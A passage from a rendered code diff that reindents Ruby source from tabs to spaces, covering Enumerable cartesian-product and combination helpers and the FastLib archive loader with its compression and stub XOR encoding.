+      if block_given?
44
+        result.each{ |e| block.call(e) }
45
+      else
46
+        result
47
+      end
48
+    end
49 49
 
50
-		alias_method :cart, :cartesian_product
51
-	end
50
+    alias_method :cart, :cartesian_product
51
+  end
52 52
 
53
-	# The instance level version of <tt>Enumerable::cartesian_product</tt>.	
54
-	#
55
-	#   a = []
56
-	#   [1,2].cart([4,5]){|elem| a << elem }
57
-	#   a  #=> [[1, 4],[1, 5],[2, 4],[2, 5]]
53
+  # The instance level version of <tt>Enumerable::cartesian_product</tt>.	
54
+  #
55
+  #   a = []
56
+  #   [1,2].cart([4,5]){|elem| a << elem }
57
+  #   a  #=> [[1, 4],[1, 5],[2, 4],[2, 5]]
58 58
 
59
-	def cartesian_product(*enums, &block)
60
-		Enumerable.cartesian_product(self, *enums, &block)
61
-	end
59
+  def cartesian_product(*enums, &block)
60
+    Enumerable.cartesian_product(self, *enums, &block)
61
+  end
62 62
 
63
-	alias :cart :cartesian_product
63
+  alias :cart :cartesian_product
64 64
 
65
-	# Operator alias for cross-product.
66
-	#
67
-	#   a = [1,2] ** [4,5]
68
-	#   a  #=> [[1, 4],[1, 5],[2, 4],[2, 5]]
69
-	#
70
-	def **(enum)
71
-		Enumerable.cartesian_product(self, enum)
72
-	end
65
+  # Operator alias for cross-product.
66
+  #
67
+  #   a = [1,2] ** [4,5]
68
+  #   a  #=> [[1, 4],[1, 5],[2, 4],[2, 5]]
69
+  #
70
+  def **(enum)
71
+    Enumerable.cartesian_product(self, enum)
72
+  end
73 73
 
74
-	# Expected to be an enumeration of arrays. This method
75
-	# iterates through combinations of each in position.
76
-	#
77
-	#   a = [ [0,1], [2,3] ]
78
-	#   a.each_combo { |c| p c }
79
-	#
80
-	# produces
81
-	#
82
-	#   [0, 2]
83
-	#   [0, 3]
84
-	#   [1, 2]
85
-	#   [1, 3]
86
-	#
87
-	def each_combo
88
-		a = collect{ |x|
89
-			x.respond_to?(:to_a) ? x.to_a : 0..x
90
-		}
74
+  # Expected to be an enumeration of arrays. This method
75
+  # iterates through combinations of each in position.
76
+  #
77
+  #   a = [ [0,1], [2,3] ]
78
+  #   a.each_combo { |c| p c }
79
+  #
80
+  # produces
81
+  #
82
+  #   [0, 2]
83
+  #   [0, 3]
84
+  #   [1, 2]
85
+  #   [1, 3]
86
+  #
87
+  def each_combo
88
+    a = collect{ |x|
89
+      x.respond_to?(:to_a) ? x.to_a : 0..x
90
+    }
91 91
 
92
-		if a.size == 1
93
-			r = a.shift
94
-			r.each{ |n|
95
-				yield n
96
-			}
97
-		else
98
-			r = a.shift
99
-			r.each{ |n|
100
-				a.each_combo{ |s|
101
-					yield [n, *s]
102
-				}
103
-			}
104
-		end
105
-	end
92
+    if a.size == 1
93
+      r = a.shift
94
+      r.each{ |n|
95
+        yield n
96
+      }
97
+    else
98
+      r = a.shift
99
+      r.each{ |n|
100
+        a.each_combo{ |s|
101
+          yield [n, *s]
102
+        }
103
+      }
104
+    end
105
+  end
106 106
 
107
-	# As with each_combo but returns combos collected in an array.
108
-	#
109
-	def combos
110
-		a = []
111
-		each_combo{ |c| a << c }
112
-		a
113
-	end
107
+  # As with each_combo but returns combos collected in an array.
108
+  #
109
+  def combos
110
+    a = []
111
+    each_combo{ |c| a << c }
112
+    a
113
+  end
114 114
 
115 115
 end

+ 364
- 364
lib/fastlib.rb View File

@@ -38,248 +38,248 @@ require "find"
38 38
 #
39 39
 class FastLib
40 40
 
41
-	VERSION = "0.0.8"
42
-
43
-	FLAG_COMPRESS = 0x01
44
-	FLAG_ENCRYPT  = 0x02
45
-
46
-	@@cache = {}
47
-	@@has_zlib = false
48
-
49
-	#
50
-	# Load zlib support if possible
51
-	#
52
-	begin
53
-		require 'zlib'
54
-		@@has_zlib = true
55
-	rescue ::LoadError
56
-	end
57
-
58
-	#
59
-	# This method returns the version of the fastlib library
60
-	#
61
-	def self.version
62
-		VERSION
63
-	end
64
-
65
-	#
66
-	# This method loads content from a specific archive file by name. If the
67
-	# noprocess argument is set to true, the contents will not be expanded to
68
-	# include workarounds for things such as __FILE__. This is useful when
69
-	# loading raw binary data where these strings may occur
70
-	#
71
-	def self.load(lib, name, noprocess=false)
72
-		data = ""
73
-		load_cache(lib)
74
-
75
-		return unless ( @@cache[lib] and @@cache[lib][name] )
76
-
77
-
78
-		::File.open(lib, "rb") do |fd|
79
-			fd.seek(
80
-				@@cache[lib][:fastlib_header][0] +
81
-				@@cache[lib][:fastlib_header][1] +
82
-				@@cache[lib][name][0]
83
-			)
84
-			data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] ))
85
-		end
86
-
87
-		# Return the contents in raw or processed form
88
-		noprocess ? data : post_process(lib, name, data)
89
-	end
90
-
91
-	#
92
-	# This method caches the file list and offsets within the archive
93
-	#
94
-	def self.load_cache(lib)
95
-		return if @@cache[lib]
96
-		@@cache[lib] = {}
97
-
98
-		return if not ::File.exists?(lib)
99
-
100
-		::File.open(lib, 'rb') do |fd|
101
-			dict = {}
102
-			head = fd.read(4)
103
-			return if head != "FAST"
104
-			hlen = fd.read(4).unpack("N")[0]
105
-			flag = fd.read(4).unpack("N")[0]
106
-
107
-			@@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ]
108
-			@@cache[lib][:fastlib_flags]  = flag
109
-
110
-			nlen, doff, dlen, tims = fd.read(16).unpack("N*")
111
-
112
-			while nlen > 0
113
-				name = fastlib_filter_decode( lib, fd.read(nlen) )
114
-				dict[name] = [doff, dlen, tims]
115
-
116
-				nlen, doff, dlen, tims = fd.read(16).unpack("N*")
117
-			end
118
-
119
-			@@cache[lib].merge!(dict)
120
-		end
121
-
122
-	end
123
-
124
-	#
125
-	# This method provides compression and encryption capabilities
126
-	# for the fastlib archive format.
127
-	#
128
-	def self.fastlib_filter_decode(lib, buff)
129
-
130
-		if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
131
-
132
-			@@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data|
133
-				stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
134
-				FastLib.send(stub, data)
135
-			end
136
-
137
-			buff = @@cache[lib][:fastlib_decrypt].call( buff )
138
-		end
139
-
140
-		if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
141
-			if not @@has_zlib
142
-				raise ::RuntimeError, "zlib is required to open this archive"
143
-			end
144
-
145
-			z = Zlib::Inflate.new
146
-			buff = z.inflate(buff)
147
-			buff << z.finish
148
-			z.close
149
-		end
150
-
151
-		buff
152
-	end
153
-
154
-	#
155
-	# This method provides compression and encryption capabilities
156
-	# for the fastlib archive format.
157
-	#
158
-	def self.fastlib_filter_encode(lib, buff)
159
-
160
-		if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
161
-			if not @@has_zlib
162
-				raise ::RuntimeError, "zlib is required to open this archive"
163
-			end
164
-
165
-			z = Zlib::Deflate.new
166
-			buff = z.deflate(buff)
167
-			buff << z.finish
168
-			z.close
169
-		end
170
-
171
-		if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
172
-
173
-			@@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data|
174
-				stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
175
-				FastLib.send(stub, data)
176
-			end
177
-
178
-			buff = @@cache[lib][:fastlib_encrypt].call( buff )
179
-		end
180
-
181
-		buff
182
-	end
183
-
184
-
185
-	# This method provides a way to create a FASTLIB archive programatically.
186
-	#
187
-	# @param [String] lib the output path for the archive
188
-	# @param [String] flag a string containing the hex values for the
189
-	#   flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
190
-	# @param [String] bdir the path to the base directory which will be
191
-	#   stripped from all paths included in the archive
192
-	# @param [Array<String>] dirs list of directories/files to pack into
193
-	#   the archive.  All dirs should be under bdir so that the paths are
194
-	#   stripped correctly.
195
-	# @return [void]
196
-	def self.dump(lib, flag, bdir, *dirs)
197
-		head = ""
198
-		data = ""
199
-		hidx = 0
200
-		didx = 0
201
-
202
-		bdir = bdir.gsub(/\/$/, '')
203
-		brex = /^#{Regexp.escape(bdir)}\//
204
-
205
-		@@cache[lib] = {
206
-			:fastlib_flags => flag.to_i(16)
207
-		}
208
-
209
-		dirs.each do |dir|
210
-			::Find.find(dir) do |path|
211
-				next if not ::File.file?(path)
212
-				name = fastlib_filter_encode( lib, path.sub( brex, "" ) )
213
-
214
-				buff = ""
215
-				::File.open(path, "rb") do |fd|
216
-					buff = fastlib_filter_encode(lib, fd.read(fd.stat.size))
217
-				end
218
-
219
-
220
-				head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN")
221
-				head << name
222
-				hidx = hidx + 16 + name.length
223
-
224
-				data << buff
225
-				didx = didx + buff.length
226
-			end
227
-		end
228
-
229
-		head << [0,0,0].pack("NNN")
230
-
231
-		::File.open(lib, "wb") do |fd|
232
-			fd.write("FAST")
233
-			fd.write( [ head.length, flag.to_i(16) ].pack("NN") )
234
-			fd.write( head )
235
-			fd.write( data )
236
-		end
237
-	end
238
-
239
-	#
240
-	# This archive provides a way to list the contents of an archive
241
-	# file, returning the names only in sorted order.
242
-	#
243
-	def self.list(lib)
244
-		load_cache(lib)
245
-		( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] }
246
-	end
247
-
248
-	#
249
-	# This method is called on the loaded is required to expand __FILE__
250
-	# and other inline dynamic constants to map to the correct location.
251
-	#
252
-	def self.post_process(lib, name, data)
253
-		data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'")
254
-	end
255
-
256
-	#
257
-	# This is a stub crypto handler that performs a basic XOR
258
-	# operation against a fixed one byte key. The two usable IDs
259
-	# are 12345600 and 00000000
260
-	#
261
-	def self.encrypt_12345600(data)
262
-		encrypt_00000000(data)
263
-	end
264
-
265
-	def self.decrypt_12345600(data)
266
-		encrypt_00000000(data)
267
-	end
268
-
269
-	def self.encrypt_00000000(data)
270
-		data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*")
271
-	end
272
-
273
-	def self.decrypt_00000000(data)
274
-		encrypt_00000000(data)
275
-	end
276
-
277
-	#
278
-	# Expose the cache to callers
279
-	#
280
-	def self.cache
281
-		@@cache
282
-	end
41
+  VERSION = "0.0.8"
42
+
43
+  FLAG_COMPRESS = 0x01
44
+  FLAG_ENCRYPT  = 0x02
45
+
46
+  @@cache = {}
47
+  @@has_zlib = false
48
+
49
+  #
50
+  # Load zlib support if possible
51
+  #
52
+  begin
53
+    require 'zlib'
54
+    @@has_zlib = true
55
+  rescue ::LoadError
56
+  end
57
+
58
+  #
59
+  # This method returns the version of the fastlib library
60
+  #
61
+  def self.version
62
+    VERSION
63
+  end
64
+
65
+  #
66
+  # This method loads content from a specific archive file by name. If the
67
+  # noprocess argument is set to true, the contents will not be expanded to
68
+  # include workarounds for things such as __FILE__. This is useful when
69
+  # loading raw binary data where these strings may occur
70
+  #
71
+  def self.load(lib, name, noprocess=false)
72
+    data = ""
73
+    load_cache(lib)
74
+
75
+    return unless ( @@cache[lib] and @@cache[lib][name] )
76
+
77
+
78
+    ::File.open(lib, "rb") do |fd|
79
+      fd.seek(
80
+        @@cache[lib][:fastlib_header][0] +
81
+        @@cache[lib][:fastlib_header][1] +
82
+        @@cache[lib][name][0]
83
+      )
84
+      data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] ))
85
+    end
86
+
87
+    # Return the contents in raw or processed form
88
+    noprocess ? data : post_process(lib, name, data)
89
+  end
90
+
91
+  #
92
+  # This method caches the file list and offsets within the archive
93
+  #
94
+  def self.load_cache(lib)
95
+    return if @@cache[lib]
96
+    @@cache[lib] = {}
97
+
98
+    return if not ::File.exists?(lib)
99
+
100
+    ::File.open(lib, 'rb') do |fd|
101
+      dict = {}
102
+      head = fd.read(4)
103
+      return if head != "FAST"
104
+      hlen = fd.read(4).unpack("N")[0]
105
+      flag = fd.read(4).unpack("N")[0]
106
+
107
+      @@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ]
108
+      @@cache[lib][:fastlib_flags]  = flag
109
+
110
+      nlen, doff, dlen, tims = fd.read(16).unpack("N*")
111
+
112
+      while nlen > 0
113
+        name = fastlib_filter_decode( lib, fd.read(nlen) )
114
+        dict[name] = [doff, dlen, tims]
115
+
116
+        nlen, doff, dlen, tims = fd.read(16).unpack("N*")
117
+      end
118
+
119
+      @@cache[lib].merge!(dict)
120
+    end
121
+
122
+  end
123
+
124
+  #
125
+  # This method provides compression and encryption capabilities